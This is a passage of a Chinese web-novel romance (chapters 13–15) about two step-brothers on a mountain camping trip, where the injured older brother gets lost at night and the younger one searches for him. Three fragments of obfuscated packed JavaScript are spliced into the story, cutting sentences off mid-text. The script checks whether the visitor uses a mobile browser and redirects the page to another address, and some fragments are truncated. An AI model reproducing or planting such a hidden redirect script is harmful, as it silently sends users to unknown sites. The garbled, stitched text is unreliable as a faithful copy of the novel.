傅忘言抱着两瓶水,肩上挂着背包,看着眼前蹲伏的、等待着他的脊背,眨了眨眼睛,一时没反应过来。 刚才的委屈和控诉还噎在喉咙里,此刻被不知所措的茫然替代。 江竹白最先反应过来,连忙上前帮傅忘言手里的水都拿下来:“言言,你的脚不能再走了。就让你弟弟背吧。” “是啊是啊。”众人附和。 顾青昀也走了过来,面色复杂地看了一眼蹲着的傅舟行,顺手帮忙拎走了他的背包。 在江竹白的提醒下,傅忘言这才恍然大悟,原来傅舟行把东西塞给他,不是真要他拿,只是暂时让他抱着,好空出背来背他……自己刚才好像……误会了? 脸上后知后觉地泛起一阵热意,混合着脚踝的疼痛和尴尬。 他抿了抿唇,看着傅舟行沉默等待的背影,犹豫了一下,还是小心翼翼地、尽量不让受伤的脚受力,趴伏了上去。 傅舟行的脊背比他想象中更宽厚,肌肉结实,隔着薄薄的衣料能感受到温热的体温和沉稳的力量感。 傅忘言有些僵硬地搂住他的脖颈,将脸侧靠在他肩头,声音细如蚊蚋:“……谢谢。” 傅舟行没应声,只是双臂向后,稳稳地托住他的腿弯,稍一用力,便轻松地站了起来。 周围的朋友们见状也松了口气,重新整队,放慢脚步跟在旁边,时不时说几句话缓和气氛。 背着一个傅忘言和一个书包,似乎并未对傅舟行造成太大负担,他步伐依旧稳健,调整了一下姿势,便继续朝着山顶的方向走去。 傅忘言趴在他背上,随着他的步伐微微起伏。空气中山间草木的气息淡淡的,味道并不难闻,他甚至还嗅了好几下。 最初的尴尬和僵硬渐渐被一种陌生的安心感取代。脚踝的疼痛依旧清晰,都说十指连心,脚趾也算吗? 下午两点已经过去,阳光还是很毒辣地洒在每个人身上。但是傅忘言没有,他身上有傅舟行的外套。 和他是同款的沐浴露,熟悉的气味让人很安心。傅忘言鼻翼微动,莫名出现的清凉气息从喉咙一路通往胸腔。 都不怎么热了…… 是喷了薄荷味香水吗?咋比六神花露水功效还强啊,提神醒脑的。 傅忘言悄悄抬眼,只能看到傅舟行微微汗湿的鬓角。他将脸埋得更低了些,贴在傅舟行的脖颈间闭上眼睛,长长的睫毛轻轻颤动。 心脏的位置,隔着两层薄薄的衣衫,似乎能感受到下方另一个心脏沉稳有力的跳动。 扑通、扑通。 不知是谁的。 13. 第 13 章 “你干什么。” 傅舟行突然出声,甚至还将背上的人往上颠了颠, 傅忘言被这突如其来的动作和问话惊得一抖,下意识更紧地抓住了他肩头的衣料,声音里满是茫然和无辜:“我、我干嘛了?” 他是真的没意识到自己做了什么。 “你嗅什么?”傅舟行偏过头,委婉提醒,“很痒。” 刚刚他就察觉到了,背上这位小少爷,自从趴稳后就没完全消停过。 毛茸茸的脑袋不安分地搁在他肩颈处,温热的呼吸一阵阵拂过皮肤也就罢了,鼻尖还总是不自觉地、像探索什么似的,轻轻蹭过他后颈的腺体附近。 对于他们Alpha来说,腺体位置是非常敏感的。 细微的摩擦带来一阵阵难以言喻的麻痒,如同羽毛搔刮,直往人心尖上钻。 如果不是情况的身份都不允许,傅舟行觉得自己或许会选择一巴掌拍在松鼠的屁股上。 警告他,老实点,不要乱动,再乱动就下去自己走。 傅忘言被他这么一说,整张脸“轰”地一下全红了,连耳朵尖都染上了绯色。 他这才后知后觉地意识到自己刚才无意识的动作有多奇怪,也挺没边界感的。他慌忙把头埋低,下巴抵在傅舟行肩头,声音闷闷的,带着羞窘:“我不是故意的……就是,就是你身上…味道…有点好闻……” 越说声音越小,最后几个字几乎含糊在喉咙里。 “你知不知道你在说什么?”傅舟行的声音有些低哑,傅忘言对此感到奇怪,很无辜道:“我夸你味道好闻啊……” 夸也不高兴啊,傅舟行真难伺候。 “……” 又是一阵死寂。 傅舟行没再回应,只是很轻地吸了一口气,调整了一下托着他腿弯的姿势,迈开的步伐似乎比之前更快了些。 山风吹过,拂动傅忘言汗湿的额发,脑门微凉,他好像一下子就清醒了,就贴在傅舟行耳边悄悄补了一句,“好吧,味道很难闻。我不喜欢,所以才一直闻的。” “别说话了……”傅舟行感觉自己的伪装遭到了前所未有的挑战。 “你信了吗?” “……” “不会是信了吧?你别信。” “……” 叭叭叭的,一只话唠松鼠。 …… 一行人终于抵达山顶。 眼前豁然开朗。 连绵的翠色山峦在脚下铺展,天际线处云海翻腾,被夕阳染上瑰丽的金红与橙紫。风毫无阻挡地吹拂而过,带着山顶特有的清冽与自由气息,瞬间吹走了大半登山的疲惫。 大家肉眼可见的兴奋起来,有的人甚至放下装备就张开手奔跑起来。 傅忘言明显也很激动,不再是软趴趴瘫在傅舟行背上的模样,而是直起上半身探头探脑的。 “啧,你能不能……” 傅舟行突然闭嘴,老实点三个字,又被他咽下去。他是来和这个小少爷打好关系的,是和他打好关系的,打好关系…… 所以不要冲动……深呼吸深呼吸深呼吸。 “能不能看见……美丽的……风景。”磕磕绊绊一句话从傅舟行嘴里吐出。 “能啊!”傅忘言开心坏了,也没注意到某人咬紧的后槽牙。就算注意到了,他也只会觉得是不是傅忘言有蛀牙了,所以牙疼。 预定的露营地是一片相对平整的草地。大家各自放下行李,开始忙碌。江竹白和顾青昀从大背包里拿出帐篷和工具。 顾青昀脸上没什么表情,只淡淡说了句:“我只准备了两顶帐篷。” 他的目光扫过傅忘言肿起的脚踝,又瞥了一眼沉默伫立的傅舟行,意思不言而喻——伤患自然需要照顾。 所以…… “傅舟行同学,你和你哥哥睡一个吧。”顾青昀微笑着说。 …… 傅忘言被傅舟行小心地放在一块平滑的大石墩上坐好。他有些不好意思,乖巧地抱着膝盖,看着傅舟行接过帐篷组件,熟练地开始搭建。 夕阳的余晖为傅舟行专注的侧脸镀上一层柔和的滤镜。微风吹乱他额前的碎发,显得孤寂又桀骜。 傅忘言突然捂住胸口,弯下腰。 好奇怪……心跳的好快,那种感觉又来了……他体力现在这么差了吗?!后半边路程他都没有出力怎么也这么累! 他又抬眼看向傅舟行。 只见他动作利落,骨架很快撑起,篷布随之展开,固定地钉,拉紧防风绳……整个过程行云流水,与他平日里冷峻疏离的模样有些不同,透着一股可靠而沉静的力量感。 帐篷很快稳稳立起。 傅舟行拍了拍手上的灰,转身走到傅忘言面前,什么都没说,直接俯身,一手穿过他膝弯,一手环住他后背,轻松地将人打横抱了起来。 “!” 傅忘言低呼一声,手臂下意识环住傅舟行的脖颈,脸上刚刚被山风吹散些许的红晕又迅速聚集起来。 “要不要进帐篷休息?” 傅舟行低头看他,声音在傍晚的风里显得不那么冷硬。可能被风吹的吧…… 傅忘言左看看右看看。 其他人早已四散开去,有的在兴奋地拍照,捕捉落日云海;江竹白和顾青昀正在不远处一块平坦的石台边摆弄着便携厨具和小型燃气炉,似乎准备开始张罗晚饭。 没人注意他们这边。 他抿了抿唇,手指无意识地揪着傅舟行肩头的衣料,声音细若蚊呐,还有点急切:“……你、你快点放我进去。” 被这样公主抱着站在空地中央,实在太引人遐想了,他丢不起这个人!虽然暂时没人看过来。 傅舟行眼眸微眯,嘴角微微上扬,没再多言,迈步走向那顶刚搭好的帐篷,弯腰将傅忘言小心翼翼地放了进去。 帐篷内部空间宽敞,铺着柔软的防潮垫。 “别乱动,好好休息。” 傅舟行丢下这句话,便拉上了帐篷的门帘,将渐渐暗下来的天光和微凉的山风隔绝在外。 帐篷里瞬间安静下来,只剩下傅忘言自己的呼吸声。 他靠在柔软的垫子上,听着外面隐约传来的风声、朋友的谈笑声,还有不远处锅具轻微的碰撞声。 有点无聊…… 就他自己一个人在里面。 还没惆怅多久,傅舟行拉开门帘,走进来,还递给他一个小方盒。 “这什么?”傅忘言没仔细看就接过来,随口问一句。 谁知道这个小方盒还会抢答,一个略显活泼俏皮地声音响起来,“你好!我是小舟同学!主人,有什么吩咐?” “什么zhou?” “傅舟行的舟。” 傅忘言:“……?” 傅舟行又贴心解释:“移动网络。” 问的根本不是网络!而是这人怎么叫小舟同学! …… 有了网络傅忘言倒是不无聊了,他开始刷视频打发时间,刷累了又去打游戏。 傅舟行就支着胳膊坐在他旁边,看他打游戏。 被人直勾勾盯着,很难不注意到。 傅忘言闯的那关死活过不去,几个猪总是走死胡同,一直在重开。可能就是因为被傅舟行看的,他太紧张了,所以才手感不佳。 “你玩游戏吗?”傅忘言搓了搓手指,冒出这么一句,没头没尾的。 “不玩。” “……哦。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17297467|198600||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 一道惋惜的音乐响起来,傅忘言又输了。 他颓废地把手机拿开,放到一边,打算躺下眯一会。 看来那个荣誉称号他是拿不到了…… 屏幕上“你失败了”字样大刺刺地展示在傅舟行面前。 傅忘言正闭目养神呢,突然感觉手里一空。他睁开眼和傅舟行对上视线。 “你这个游戏……” “啊?” “有松鼠的皮肤吗?” 在接下来的十分钟内,傅忘言就瞪大眼睛看着傅忘言操作小松鼠,一会走一只一会走一只。本来以为都是死胡同没救了,但最后都会被傅舟行妙手回春。 很快,在傅忘言崇拜的目光下连过了好多关。 太过兴奋了傅忘言都没注意到,他半搂着傅舟行,趴在他的肩上。 两人几乎头抵着头。 荣誉称号对于傅舟行来说简直就是小意思 拿到称号后,手机就回到了傅忘言手里,某人立刻开开心心去换上称号,还忍不住夸赞,“哇!傅舟行,你好厉害啊…怎么做到的?” “用手,你不会吗?” “……”傅忘言理解不了傅舟行说话为什么总跟带刺似的,有些哀怨地抬眼,“你怎么不干脆说,用脑子,你没有吗?这句话。” “……”傅舟行张张嘴,“你玩不过去再喊我。” “这可以。”傅忘言又开心了。 看着傅忘言低头,因为得到新装扮而晃悠的小脑袋,傅舟行也无法理解,他随随便便一句话就安抚了傅忘言。 明明让傅忘言觉得开心是很简单的一件事情。但是傅临川呢?傅临川为什么是他的全部,可以得到他多余的喜怒哀乐。 他想不通,干脆闭上眼睛不去想。 休息没过几秒,帐篷外原本还算和谐的准备晚餐的声音,突然拔高,变成了激烈的争吵。 “顾青昀!你放这么多辣椒粉是想谋杀吗?!言言根本不能吃辣!” “江竹白,食谱上就是这么写的。而且我尝过了,味道正好,根本不怎么辣。” “你那是什么味觉!这炉子火力也不对,根本炒不熟!” “那你来?你不是自称厨艺小天才吗?” “我来就我来!亏你还说自己厨艺不错呢!” 争吵声愈演愈烈,还夹杂着锅铲磕碰的声响。 傅舟行原本抱臂闭目养神,听到争吵,他蹙眉睁眼,起身出去。 傅忘言也听到了。他担心真的吵起来,也顾不得脚疼,努力挪到帐篷边,拉开一条缝,探头往外看。 只见江竹白和顾青昀面红耳赤地站在炉子边,谁也不让谁。他咬了咬牙,小心翼翼地挪出帐篷,试图单脚跳着过去劝架。 傅舟行走到炉边,看了眼锅里半生不熟、调料显然过量的食材,又看了眼互不相让、快要演变成小学生斗嘴的两人,太阳穴突突跳了两下。 “我来吧。” 傅舟行说,他的形象骤变,就像从天而降的“天使”,让两人暂时停火。 他接过江竹白手里的锅铲,又拿过顾青昀握着的调料瓶,简单检查了一下炉具。“麻烦把其他新鲜食材拿过来。” 江竹白和顾青昀都愣了一下,怀疑地看着他。 “你会吗?” 傅忘言忍不住问。 “嗯。” 傅舟行已经开始动手处理锅里失败的半成品,动作干脆利落,“在家都是我做饭。”说完还看着单脚跳的傅忘言,“你干嘛出来?” “呃,我……”傅忘言原地蹦蹦,身子因为不平衡东倒西歪的,被傅舟行拉住站稳,“我想着能不能帮上忙……” “你这样子能帮什么忙?”某人毫不留情点破。 14. 第 14 章 说话太过直白,一时间让人不好接话。江竹白和顾青昀也略显尴尬站在一旁。再反观傅忘言,还真的认真思考起来,“你让我想想……” 江竹白:?兄弟!你到底在思考什么啊! 他不得不夸傅忘言的心真大。 “你刚刚说的‘家’……” 顾青昀为了打破这凝滞又微妙的气氛,也是出于纯粹的好奇,多嘴问了这么一句,“是指你以前的那个家吗?” 他倒是听江竹白提起过一些…… 话音刚落,就被江竹白用力拉了一下胳膊肘,低声嗔怪:“哎呀你问这么多干嘛!去,去那边看看还有什么能吃的菜!” 试图将话题生硬地转移开。 “嗯。”傅舟行似乎也不太在意,他又将锅洗了一遍。 然而,就在他准备重新点火加热时,按了几下点火器,只有微弱的电火花闪烁,却怎么也点不着。 电量耗尽了吗?傅忘言皱起眉头又试了几次,还是不行。 傅忘言歪了歪头,看着锅下面提示,“会不会是其他原因啊?” 一语惊醒梦中人,傅舟行低头看了下锅底。 几块木头上面明显有沾水,不知道什么原因被水泡了。所以点不着。 “啧。” 傅舟行放下点火器,看向旁边堆放备用物资的地方,“可能需要些柴火,这些柴都不能用了。” 罪魁祸首江竹白和顾青昀对视一眼,这才想起来刚刚争吵间,打翻了一瓶水。现下两人都有些懊恼和尴尬。 争吵归争吵,饭总得吃。 “我们去找柴火。” 顾青昀率先开口,语气缓和了些。 “我也去,我知道哪种柴好烧。”江竹白连忙跟上。 “是吗?” “你不信拉倒!” 两人互相拌嘴,快步朝着树林边缘走去,很快身影就消失在傅舟行眼前。 傅舟行蹲下身,重新整理了一下炊具和所剩不多的还未被“荼毒”的食材。他头也没抬,沉声嘱咐道:“傅忘言,别在外面站着,回帐篷里去。饭好了我叫你。” 他的声音不大,被风吹散。 等了几秒,却未得到任何回应。 傅舟行手上的动作顿了顿,忽然察觉到一丝异样的安静。他下意识地抬头,眼前空无一人。 只有那顶帐篷安静地立在渐暗的天光下,门帘微微晃动。 已经进去了吗? 腿瘸了也能走这么快? 傅舟行重新低下头,忙活着四人的晚饭。还好那群人只是和他们顺路上山,不然顾青昀带的食材根本不够。 傅舟行挽起袖子,露出线条流畅的小臂。 清洗、去皮、切块……他的动作迅捷而稳定,刀工谈不上惊艳,却十分扎实利落,显然是做过不少次,早已形成肌肉记忆。 毕竟,在来到傅家之前,在某些更艰难的环境里,自炊是生存的基本技能之一。很快,那些花里胡哨的食材便被分门别类地处理好,在临时充当案板的干净防水布上码放整齐,等待下锅。 江竹白和顾青昀去的时间不算短。 当天际只剩下一线暗紫与深蓝的交界时,两人才抱着满怀的枯枝干柴,深一脚浅一脚地从树林方向走了回来。 即便抱着柴火,两人依旧没停止“交流”。 “我都说了我会看你还不信!你要是相信我!我们早就找完了!”江竹白的声音带着点小得意和气喘。 “聒噪……”顾青昀语气里没有嫌恶,听起来更像是一种无奈。 傅舟行接过柴火,陆续添加进去,用点火器点燃。 看着不多的食材,傅舟行就做了个最简单的——粥。 反正把各种东西加进去就行了。 江竹白显然是个坐不住的性子,粥锅架在火上慢慢熬煮后,他便像是忘记了刚才和顾青昀的“恩怨”,也顾不上某人可能投来的“死亡凝视”,开始围着傅舟行打转,一双圆眼睛里充满了好奇和毫不掩饰的赞叹,小嘴叭叭个不停:“哇!你真的会啊!动作好熟练!你还会做什么?会做煎鸡蛋吗?我突然好想吃煎蛋!”他眼巴巴地看着傅舟行。 “嗯。”傅舟行觉得顺手的事情,只能说那些保镖是雇对了,他们装备齐全。于是他又架起平底锅,在另一簇较小的火堆上预热,然后熟练地敲开一个鸡蛋。 蛋白迅速凝固,边缘泛起诱人的焦黄,中心的蛋黄依旧柔软晃动。 与此同时,旁边的粥锅里,水已经滚开,米粒和各式配料在乳白色的汤液中翻滚起伏,散发出混合的、质朴的香气。 傅舟行想了想,又往粥里磕入一个鸡蛋,用勺子轻轻搅散,蛋花瞬间在粥汤中绽开,增添了一抹嫩黄和营养。 山顶各处,其他露营团队的晚餐似乎也进入了尾声或正酣阶段,各种食物香气交织飘散,混合着柴火燃烧特有的烟火气。就着暮色与初现的星子吃饭,饭后赏夜景、这是多么惬意的一段时光。 江竹白早就迫不及待拿着小碗蹲在晚饭旁边,也顾不上什么形象了,就眼巴巴地等着,像只等待投喂的雏鸟。没办法,他快饿死了。刚刚和顾青昀找柴火体力消耗太多了,怎么说他都是个Omega。只是爱玩爱野,但身体素质跟不上。 俗称又菜又爱玩。 一共四个人,锅旁边围着三个。 粥熬好了。傅舟行用一块厚布垫着,掀开锅盖,一团带着食物芬芳的热气蒸腾而上。他先拿起勺子,稳稳地舀起稠度适中的粥,装了大半碗,里面满满都是实在的配料,随即递给蹲得最近的、眼睛都快冒绿光的江竹白。 “小心烫。” 他提醒了一句,声音没什么起伏。 江竹白接过碗,迫不及待地吹了吹,就小心地吸溜了一口,烫得直吐舌头,却还是含糊地发出满足的喟叹:“唔!好香!” 傅舟行接着打算给顾青昀装。 结果江竹白嘴里还含着粥,就急急忙忙站起来,含糊不清又带着点急切地说:“唔、唔老……我来给他装!你忙你的!” 傅舟行看了一眼顾青昀,见后者只是微微挑眉,并没有反对的意思,脸上甚至还带着点纵容的、极淡的笑意。他便没再坚持,只是拿了一个干净的碗,淡声道:“稍等,我先装一碗。” “好嘞!” 江竹白趁这间隙,又忙不迭地往自己嘴里塞了一大口,烫得眼泪汪汪,却还忍不住朝顾青昀含糊地炫耀:“嗷!比你会做多了……烫烫烫!” 傅舟行手下动作不停,很快盛好了一碗粥,同样是料足粥稠。 他特意用勺子将表面轻轻压实了些,然后将折叠勺,递给已经自觉伸出手的江竹白。“好了,给你。” “好的好的!顾青昀你别干站着啊!快过来端碗!很烫的!” 江竹白一边咋呼,一边装饭。 最后,傅舟行才端起那个刚刚盛得最满最实的碗,步伐沉稳地走向傅忘言休息的帐篷。 说来奇怪……从开始做饭到现在,时间已经过去了一个多小时。 帐篷里始终安安静静,一点声响都没有。没有翻身时布料摩擦的声音,没有因为游戏输掉的叹气声,更没有好奇探出头来张望的动静。 这安静,未免有些太彻底了。 睡着了? 傅舟行眉心不自觉地再次蹙紧,之前被忙碌暂时压下的那丝异样感,如同蛰伏的蛇,重新抬头,并且更加清晰地缠绕上来。 他几步就跨到了帐篷前,一手稳稳端着粥碗,另一只手毫不犹豫地、带着一丝自己都未曾察觉的急切,猛地掀开了门帘。 帐篷内部,被营地灯余光勉强照亮的一角。柔软的防潮垫上空空荡荡。只有他给傅忘言批的外套被仔细叠放在角落,行李和睡袋也安静地呆在原处。 消失了。 傅忘言不见了。 碗沿传来的滚烫触感此刻变得有些突兀,甚至有些刺痛。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17297468|198600||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 傅舟行站在帐篷门口,身形似乎凝滞了一瞬。 山风骤然转厉,吹得帐篷哗啦作响。 他缓缓放下粥碗,动作有些僵硬进入帐篷,他迅速扫过帐篷内每一个角落,确认没有任何挣扎或匆忙离开的痕迹。 没有,什么都没有。 好好的一个人,去哪里了? “傅忘言?” 他试着叫了一声,声音不高。 只有风声回应。 他猛地转身,几乎是跑出帐篷。 篝火点点,人影绰绰,欢笑声、谈话声隐约传来。没有那个蓝白色的、纤细的身影。 “傅忘言!” 傅舟行的声音陡然拔高,打破了营地这一角的平静。 正凑在一起边吹气边喝粥的两人吓了一跳,同时抬头望去,只见傅舟行站在帐篷前,脸色在跳跃的火光映照下,似乎比这山间的夜晚还要沉冷几分。 “怎……怎么了?!”江竹白不知道发生了什么,端着碗站起来。 “傅忘言……” 傅舟行的语速快而清晰,每个字都像是从齿缝间迸出,“不在帐篷里。你们刚才回来路上,或者之前有没有看见他往别处去?” 江竹白手里的勺子“哐当”一声掉进碗里,他睁大了眼睛,满脸难以置信:“什么?言言不见了?他脚崴成那样,能去哪啊?我和顾青昀捡柴火回来就直接到这儿了,没看见他啊!” 顾青昀也立刻放下了碗,面色凝重起来,他环顾四周,眉头紧锁:“我们离开前,好像还看见他。之后……” 他回忆着,“之后我们就专心找柴火了,没太注意营地这边的动静。他……会不会是去附近其他同学那里了?或者……去简易卫生间了?” 他指向营地另一端一个简陋的标志。 “我去找。” 傅舟行几乎是立刻做出了决定,声音沉冷。他没有丝毫犹豫,拿上手机开了个手电筒便大步朝着顾青昀指的方向走去,同时扫过沿途每一个可能藏人的阴影和石块后方。 江竹白也急了,粥也顾不上喝了,胡乱把碗一放:“我也去找!言言脚不方便,不会走远的!” “等等。”顾青昀一把拉住他,快速交代:“你先去问问那边几组你认识的同学,看有没有人见到人。特别是靠近树林边缘的地方,小心有陡坡。我去其他地方找找,用手电打信号,我们随时保持联系,嗯?” 他迅速从背包里翻出一个备用强光手电塞给江竹白,自己也拿了一个。 分工明确,三人立刻行动起来。 傅舟行很快到达简易卫生间区域,那只是用防水布简单围起来的角落。他出声呼唤,甚至毫不避讳地查看,里面空空如也。他的脸色更沉,心脏像是被越来越紧的手攥着,每一次跳动都带着沉闷的回响。 山顶看似平坦,但边缘地带情况复杂,有观景台,也有未开发的、草木丛生的斜坡,更别提天色已黑,视线严重受阻。 一个脚踝受伤、行动不便的人…… 他不敢深想下去。 一种陌生的、名为“恐慌”的情绪,如同冰冷的潮水,开始细细密密地侵蚀他向来冷静自持的神经。 时间一分一秒过去,每一秒都显得格外漫长。江竹白气喘吁吁地跑回来,带回来的消息令人失望——问过的几组人都说没注意到傅忘言。顾青昀也在营地周边快速搜寻了一圈,没有发现。 不安的气氛在三人之间弥漫开来。 山顶的寒风呼啸而过,带着刺骨的凉意。粥碗早已凉透,无人问津。原本期待的星空与夜色,此刻只余下无边的黑暗和一颗颗悬到嗓子眼的心。 傅舟行站在帐篷旁,环视着黑暗笼罩的山顶。他的背脊挺得笔直,但垂在身侧的手,却在不自觉地微微颤抖。 傅忘言,你到底在哪里? 但内心却有另一个声音在说。 你为什么要找他呢?如果他出事,你就是遗产股份第一继承人,这不过是意外,和你又没关系…… 15. 第 15 章 茂密的丛林里,一个纤瘦的身影正一瘸一拐,极其艰难地挪动。 手机手电筒也只能照亮脚前一小片地面。傅忘言是个路痴,现在倒霉催的完全迷路了。 “嘶…”他实在撑不住,找了个石头坐下。 刚刚好不容易捡到的一些枯枝,也在几分钟前,被黑暗中突然窜过脚边的、不知是松鼠还是什么小动物吓得脱手散落,再也找不回来。 现在,他两手空空,只剩快要耗尽电量的手机。 这里既没有信号,也没有人影。他徒劳地举高手机,变换着角度,屏幕的光映亮他苍白失措的脸。 好饿好冷好累…… 他颤抖着用手机的手电筒光环顾四周。 光影晃动间,扭曲的树影张牙舞爪,远处更深的黑暗里,仿佛潜藏着无数不可名状的东西。风吹过林梢,发出呜呜的怪响,他终于理解老人们常说的鬼哭狼嚎什么意思了…… 像是为了应景,还真响起一声狼嚎。 !这到底是什么鬼地方啊! 这个念头一冒出来,傅忘言自己先打了个剧烈的寒颤。 “啊啊……我怎么自己吓自己……鬼知道这是什么地方……” 他小声呜咽着,把脸埋进膝盖,试图汲取一点点可怜的温暖和安全感。 一个慢悠悠的、带着点戏谑的腔调,几乎贴着他后脑勺,猝不及防地响了起来: “是啊~鬼知道哦~” 那声音拖长了调子,尾音还往上挑了挑,在寂静的树林里显得异常清晰突兀,甚至有种说不出的诡异感。 “啊啊啊啊啊——!!!” 傅忘言浑身的血液仿佛在这一瞬间凝固,又猛地炸开!他尖叫着从石头上弹了起来,头都没敢回。 电影里面都是这样写的,一回头就会怼脸,怼脸杀!啊啊啊!这种只有小说主角百分百概率会碰见的事情怎么会轮到他头上! 他连滚爬爬地向前扑倒,连受伤的脚踝都忽略了,手机脱手飞了出去,磕了一下,手电筒关闭。周围又是漆黑一片。 傅忘言瘫软在地,心脏狂跳得像是要冲破胸腔,眼前发黑,极致的恐惧让他连哭都忘了,只是张大嘴徒劳地喘息,身体抖得像站在了抖抖机上。 早知道他就不为了证明自己有用跑出来捡树枝了! 一个身影打着手电筒赶忙走出来,“哎哟!别怕别怕!是我!是人!不是鬼!” 那个声音带着明显的慌乱和歉意连忙说。 听见人声,傅忘言趴在地上用余光瞥了一眼。 来人是个看起来二十出头的年轻男人,穿着专业的冲锋衣,背着一个大登山包,手里也拿着强光手电。 显然也是露营者,或许是独自夜探或刚从更深处返回,恰好撞见傅忘言,一时兴起想开个玩笑,却没料到对方反应如此剧烈。 “对不起对不起!我没想到你胆子这么小!我就是看你一个人在这儿,想逗逗你……” 男人手足无措地走近,赶紧捡起傅忘言的手机,用手电光照亮自己的脸,“你看,我是人!活人!真的对不起!你现在感觉怎么样?” 傅忘言惊魂未定,泪花早已在眼眶里打转,此刻虽然受到安抚,情绪也没有缓解多少。 “我……我有点…呕…头晕……” 年轻男人更愧疚了,蹲在他旁边,一个劲儿地道歉,看见他穿着单薄,又赶紧从背包里掏出急救毯裹住他,顺便麻利地就近搜集了些干燥树枝,用打火石迅速生起一小堆篝火。“对不起对不起,暖和点就不怕了。我真不是故意的,小兄弟,你别哭了,你看,有火了……” 跳跃的火光驱散了一些黑暗和寒意,也映亮了傅忘言泪眼婆娑的脸。 年轻男人看一眼就愣住了,少年蹲坐在角落,身上披着毯子,裹住上半身。蓝白色水手服短裤盖不住修长笔直的小腿,皮肤白皙。再一抬头,一张白嫩稚气的小脸配两个红红的眼眶,我见犹怜的。 “你是……Omega吗?”他突然问。 就在这时,一阵急促而沉重的脚步声由远及近,伴随着树枝被猛烈拨开的哗啦声。一道更为明亮的强光手电光束破开林间黑暗,直直照射过来。 “傅忘言!” 傅舟行气喘吁吁地出现在火光边缘,他的头发有些凌乱,额角带着汗迹,呼吸急促,衣裤也沾上了草屑和泥土,显然是一路疾奔搜寻而来。 当他看到火光边蜷缩着的傅忘言,以及旁边那个陌生男人时,周身气息瞬间降至冰点,几步就冲了过来。 “你对他做了什么?” 傅舟行的声音冷硬如铁,目光如刀锋般刮过那个陌生男人,同时迅速蹲下身,检查傅忘言的情况。 “误会!天大的误会!” 年轻男人吓得连忙摆手,语无伦次地解释,“我就是开玩笑从后面吓了他一下,没想到……我真不是坏人!” “你不知道人吓人会吓死人吗?!” 傅忘言在听到声音的瞬间,抽泣声骤然停顿了一下,抬起脸。当看清真的是傅舟行时,就像是迷路的人突然见到自家门牌号一样。 眼泪大颗大颗地滚落下来,起初还是无声的,只有肩膀一抽一抽,很快便变成了压抑不住的、细小而破碎的抽泣声。泪水迅速沾湿了他长长的睫毛,顺着白皙的脸颊滑落,在下巴处汇聚,滴落在毯子上。 “怎么回事?他说的是不是真的?”傅舟行将傅忘言扶起来,急救毯理开盖住傅忘言的小腿,这下真是全方位裹紧。“盖好了。” “我说的真的是真的!相信我!” 年轻男人急得快举手发誓了。 傅舟行没理他,还在照顾傅忘言的情绪。在他不断的安抚下,傅忘言点点头,张张嘴巴不知道还要说什么。 网上那些安抚人的手段傅舟行不太懂。他嘴太笨,就连母亲深夜惆怅的时候,他也只能干巴巴说一句:“别难过了妈妈。” “你还有什么要说的?”傅舟行询问。 见傅忘言还要说什么,那个路人明显也紧张起来。不知道为什么,总感觉那个小兄弟但凡说一句和他有关的,这个突然冲进来的,看起来比他小很多的Alpha能立刻和他拼命。 傅忘言磕磕绊绊憋出一句,“我好……饿。” “……” 看到傅忘言还知道说饿,傅舟行悬到嗓子眼的心终于落回实处一半,但随之涌起的,是对傅忘言乱跑的不满。 他深吸一口气,强压下情绪,仔细看了看傅忘言除了哭得狼狈、脸色苍白之外,似乎没有其他外伤,除了脚踝的肿胀有些加剧。 “没事了。” 他沉声道,声音因为之前的奔跑和情绪波动而有些低哑。他冷冷地瞥了一眼还在不断道歉的年轻男人,“谢谢你的火堆。” “哈,哈哈哈!应该的,应该的。”男人自知理亏,又见傅舟行脸色难看不好惹,连忙又说了几句抱歉,留下一些吃的,便匆匆带包离开了。 篝火旁只剩下他们两人。 傅舟行看着还在小声啜泣、不时打嗝的傅忘言,伸手想抹掉他脸上的泪,指尖触及一片湿凉。他顿了顿,转而用掌心不太熟练地、轻轻拍了拍傅忘言的后背。“别哭了,腿还能不能走?” “太疼了……”傅忘言哭得有些脱力,加上寒冷和惊吓,身体还在微微发抖。 见状傅舟行只能叹气,他试图像来时那样背傅忘言回去,但刚一做出转身的动作,傅忘言就惊恐地抓住他的衣袖,带着哭腔摇头:“不、不要背……” 傅舟行明白了。他转过身,面对傅忘言,将手电筒塞给他。然后弯下腰,一手穿过他的膝弯,另一手环住他的背,沉声道:“抱住我脖子。”傅忘言泪眼朦胧地看着他,乖乖伸手环住他的脖颈。 傅舟行腰腹用力,稳稳地将人面对面抱了起来。 这个姿势比背负要费力得多,傅忘言的重量完全压在他的手臂和胸前,两人身体紧贴,傅忘言的脸颊就靠在他肩头,湿热的呼吸一下下拂过他的颈侧。 “你帮我照一下路。”傅舟行调整了一下姿势,抱稳怀里的人,然后迈开脚步,他走得不算快,每一步都很稳。 傅忘言似乎找到了安全感,渐渐止住了哭泣。伸出双手举着手电筒,只是身体还在微微颤抖,导致照明晃来晃去的。 黑暗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 